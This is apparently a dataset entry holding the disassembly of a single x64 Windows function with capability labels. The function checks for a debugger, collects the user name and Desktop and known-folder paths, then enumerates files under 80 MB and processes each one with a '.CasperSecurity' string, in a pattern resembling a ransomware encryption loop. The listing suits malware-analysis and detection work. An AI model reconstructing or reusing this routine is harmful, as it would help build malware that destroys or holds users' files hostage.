Function at 0x180003520
Capabilities:
Enumerate files on windows
Get common file path
Get session user name

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push rbp
lea rbp, [r11 - 0x718]
sub rsp, 0x810
mov rax, qword [0x1800357b8]
xor rax, rsp
mov qword [rbp + 0x700], rax
xor esi, esi
mov rdi, rcx
cmp qword [sym.imp.KERNEL32.dll_IsDebuggerPresent], rsi
jne 0x180003d14
lea rcx, [rbp + 0x10]
mov qword [r11 + 0x10], rbx
call fcn.1800031d0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x4f0]
mov dword [rsp + 0x48], 0x104
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, [rbp + 0x2e0]
lea edx, [rsi + 0x10]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r9, [rsp + 0x40]
lea rcx, [0x180027fd8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x1800035c7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r9, [rsp + 0x38]
lea rcx, [0x180027fc8]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x1800035f2
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
or rbx, 0xffffffffffffffff
mov qword [rbp + 0x68], 7
mov qword [rbp + 0x60], rsi
mov word [rbp + 0x50], si
cmp word [rbp + 0x2e0], si
jne 0x180003614
mov r8, rsi
jmp 0x18000362a
lea rax, [rbp + 0x2e0]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], si
jne 0x180003620
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x50]
call fcn.180008b00
lea rdx, [0x18002efd0]
lea rcx, [rbp + 0x50]
mov r8d, 1
call fcn.180008840
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp word [rbp + 0x2e0], si
jne 0x18000366e
mov r8, rsi
jmp 0x18000368a
lea rax, [rbp + 0x2e0]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x180003680
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x30]
call fcn.180008b00
lea rdx, [0x18002efd4]
lea rcx, [rbp - 0x30]
mov r8d, 2
call fcn.180008840
mov rdx, qword [rsp + 0x40]
mov qword [rbp + 0x48], 7
mov qword [rbp + 0x40], rsi
mov word [rbp + 0x30], si
cmp word [rdx], si
jne 0x1800036cf
mov r8, rsi
jmp 0x1800036dc
mov r8, rbx
inc r8
cmp word [rdx + r8*2], si
jne 0x1800036d2
lea rcx, [rbp + 0x30]
call fcn.180008b00
lea rdx, [0x18002efd0]
lea rcx, [rbp + 0x30]
mov r8d, 1
call fcn.180008840
mov rdx, qword [rsp + 0x40]
mov qword [rbp + 8], 7
mov qword [rbp], rsi
mov word [rbp - 0x10], si
cmp word [rdx], si
jne 0x18000371a
mov r8, rsi
jmp 0x18000372a
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rdx + r8*2], si
jne 0x180003720
lea rcx, [rbp - 0x10]
call fcn.180008b00
lea rdx, [0x18002efd4]
lea rcx, [rbp - 0x10]
mov r8d, 2
call fcn.180008840
mov rdx, qword [rsp + 0x38]
mov qword [rbp + 0x88], 7
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
cmp word [rdx], si
jne 0x18000376e
mov r8, rsi
jmp 0x18000377b
mov r8, rbx
inc r8
cmp word [rdx + r8*2], si
jne 0x180003771
lea rcx, [rbp + 0x70]
call fcn.180008b00
lea rdx, [0x18002efd0]
lea rcx, [rbp + 0x70]
mov r8d, 1
call fcn.180008840
mov rdx, qword [rsp + 0x38]
mov qword [rbp - 0x38], 7
mov qword [rbp - 0x40], rsi
mov word [rbp - 0x50], si
cmp word [rdx], si
jne 0x1800037c0
mov rbx, rsi
jmp 0x1800037c9
inc rbx
cmp word [rdx + rbx*2], si
jne 0x1800037c0
lea rcx, [rbp - 0x50]
mov r8, rbx
call fcn.180008b00
lea rdx, [0x18002efd4]
lea rcx, [rbp - 0x50]
mov r8d, 2
call fcn.180008840
cmp qword [rbp - 0x18], 8
lea rcx, [rbp - 0x30]
cmovae rcx, qword [rbp - 0x30]
lea rdx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180003956
test byte [rbp + 0x90], 0x10
jne 0x180003935
lea r8, [rbp + 0xbc]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18000a9d0
cmp qword [rbp - 0x78], 8
mov rax, qword [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x68], 0xf
cmovae rdx, qword [rsp + 0x70]
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
call fcn.18000bae0
mov eax, dword [rbp + 0xb0]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0xac]
mov dword [rsp + 0x34], eax
mov r8, qword [rsp + 0x30]
cmp r8, 0x5000000
jge 0x1800038ff
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rbp + 0x10]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.180002ae0
lea rdx, str..CasperSecurity
lea rcx, [rbp - 0x70]
mov r8d, 0xf
mov qword [rbp - 0x58], 7
mov qword [rbp - 0x60], rsi
mov word [rbp - 0x70], si
call fcn.180008b00
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1800029c0
cmp qword [rbp - 0x58], 8
jb 0x1800038ff
mov rcx, qword [rbp - 0x70]
call fcn.18000ec80
cmp qword [rsp + 0x68], 0x10
jb 0x180003911
mov rcx, qword [rsp + 0x50]
call fcn.18000ec80
cmp qword [rbp - 0x78], 8
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
jb 0x180003935
mov rcx, qword [rsp + 0x70]
call fcn.18000ec80
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180003813
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp qword [rbp + 8], 8
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x90]
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180003ac3
nop
test byte [rbp + 0x90], 0x10
jne 0x180003aa2
lea r8, [rbp + 0xbc]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18000a9d0
cmp qword [rbp - 0x78], 8
mov rax, qword [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x68], 0xf
cmovae rdx, qword [rsp + 0x70]
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
call fcn.18000bae0
mov eax, dword [rbp + 0xb0]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0xac]
mov dword [rsp + 0x34], eax
mov r8, qword [rsp + 0x30]
cmp r8, 0x5000000
jge 0x180003a6c
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rbp + 0x10]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.180002ae0
lea rdx, str..CasperSecurity
lea rcx, [rbp - 0x70]
mov r8d, 0xf
mov qword [rbp - 0x58], 7
mov qword [rbp - 0x60], rsi
mov word [rbp - 0x70], si
call fcn.180008b00
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1800029c0
cmp qword [rbp - 0x58], 8
jb 0x180003a6c
mov rcx, qword [rbp - 0x70]
call fcn.18000ec80
cmp qword [rsp + 0x68], 0x10
jb 0x180003a7e
mov rcx, qword [rsp + 0x50]
call fcn.18000ec80
cmp qword [rbp - 0x78], 8
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
jb 0x180003aa2
mov rcx, qword [rsp + 0x70]
call fcn.18000ec80
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180003980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp qword [rbp - 0x38], 8
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x90]
cmovae rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180003c33
nop dword [rax + rax]
test byte [rbp + 0x90], 0x10
jne 0x180003c12
lea r8, [rbp + 0xbc]
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.18000a9d0
cmp qword [rbp - 0x78], 8
mov rax, qword [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x68], 0xf
cmovae rdx, qword [rsp + 0x70]
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
call fcn.18000bae0
mov eax, dword [rbp + 0xb0]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0xac]
mov dword [rsp + 0x34], eax
mov r8, qword [rsp + 0x30]
cmp r8, 0x5000000
jge 0x180003bdc
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rbp + 0x10]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.180002ae0
lea rdx, str..CasperSecurity
lea rcx, [rbp - 0x70]
mov r8d, 0xf
mov qword [rbp - 0x58], 7
mov qword [rbp - 0x60], rsi
mov word [rbp - 0x70], si
call fcn.180008b00
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1800029c0
cmp qword [rbp - 0x58], 8
jb 0x180003bdc
mov rcx, qword [rbp - 0x70]
call fcn.18000ec80
cmp qword [rsp + 0x68], 0x10
jb 0x180003bee
mov rcx, qword [rsp + 0x50]
call fcn.18000ec80
cmp qword [rbp - 0x78], 8
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
jb 0x180003c12
mov rcx, qword [rsp + 0x70]
call fcn.18000ec80
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180003af0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp qword [rbp - 0x38], 8
mov rbx, qword [rsp + 0x828]
jb 0x180003c4b
mov rcx, qword [rbp - 0x50]
call fcn.18000ec80
cmp qword [rbp + 0x88], 8
mov qword [rbp - 0x38], 7
mov qword [rbp - 0x40], rsi
mov word [rbp - 0x50], si
jb 0x180003c6e
mov rcx, qword [rbp + 0x70]
call fcn.18000ec80
cmp qword [rbp + 8], 8
mov qword [rbp + 0x88], 7
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
jb 0x180003c94
mov rcx, qword [rbp - 0x10]
call fcn.18000ec80
cmp qword [rbp + 0x48], 8
mov qword [rbp + 8], 7
mov qword [rbp], rsi
mov word [rbp - 0x10], si
jb 0x180003cb4
mov rcx, qword [rbp + 0x30]
call fcn.18000ec80
cmp qword [rbp - 0x18], 8
mov qword [rbp + 0x48], 7
mov qword [rbp + 0x40], rsi
mov word [rbp + 0x30], si
jb 0x180003cd4
mov rcx, qword [rbp - 0x30]
call fcn.18000ec80
cmp qword [rbp + 0x68], 8
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jb 0x180003cf4
mov rcx, qword [rbp + 0x50]
call fcn.18000ec80
cmp qword [rbp + 0x28], 0x10
mov qword [rbp + 0x68], 7
mov qword [rbp + 0x60], rsi
mov word [rbp + 0x50], si
jb 0x180003d14
mov rcx, qword [rbp + 0x10]
call fcn.18000ec80
mov rcx, rdi
call fcn.1800032b0
cmp qword [rdi + 0x18], 0x10
jb 0x180003d2b
mov rcx, qword [rdi]
call fcn.18000ec80
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rsi
xor eax, eax
mov byte [rdi], sil
mov rcx, qword [rbp + 0x700]
xor rcx, rsp
call fcn.18000cec0
lea r11, [rsp + 0x810]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret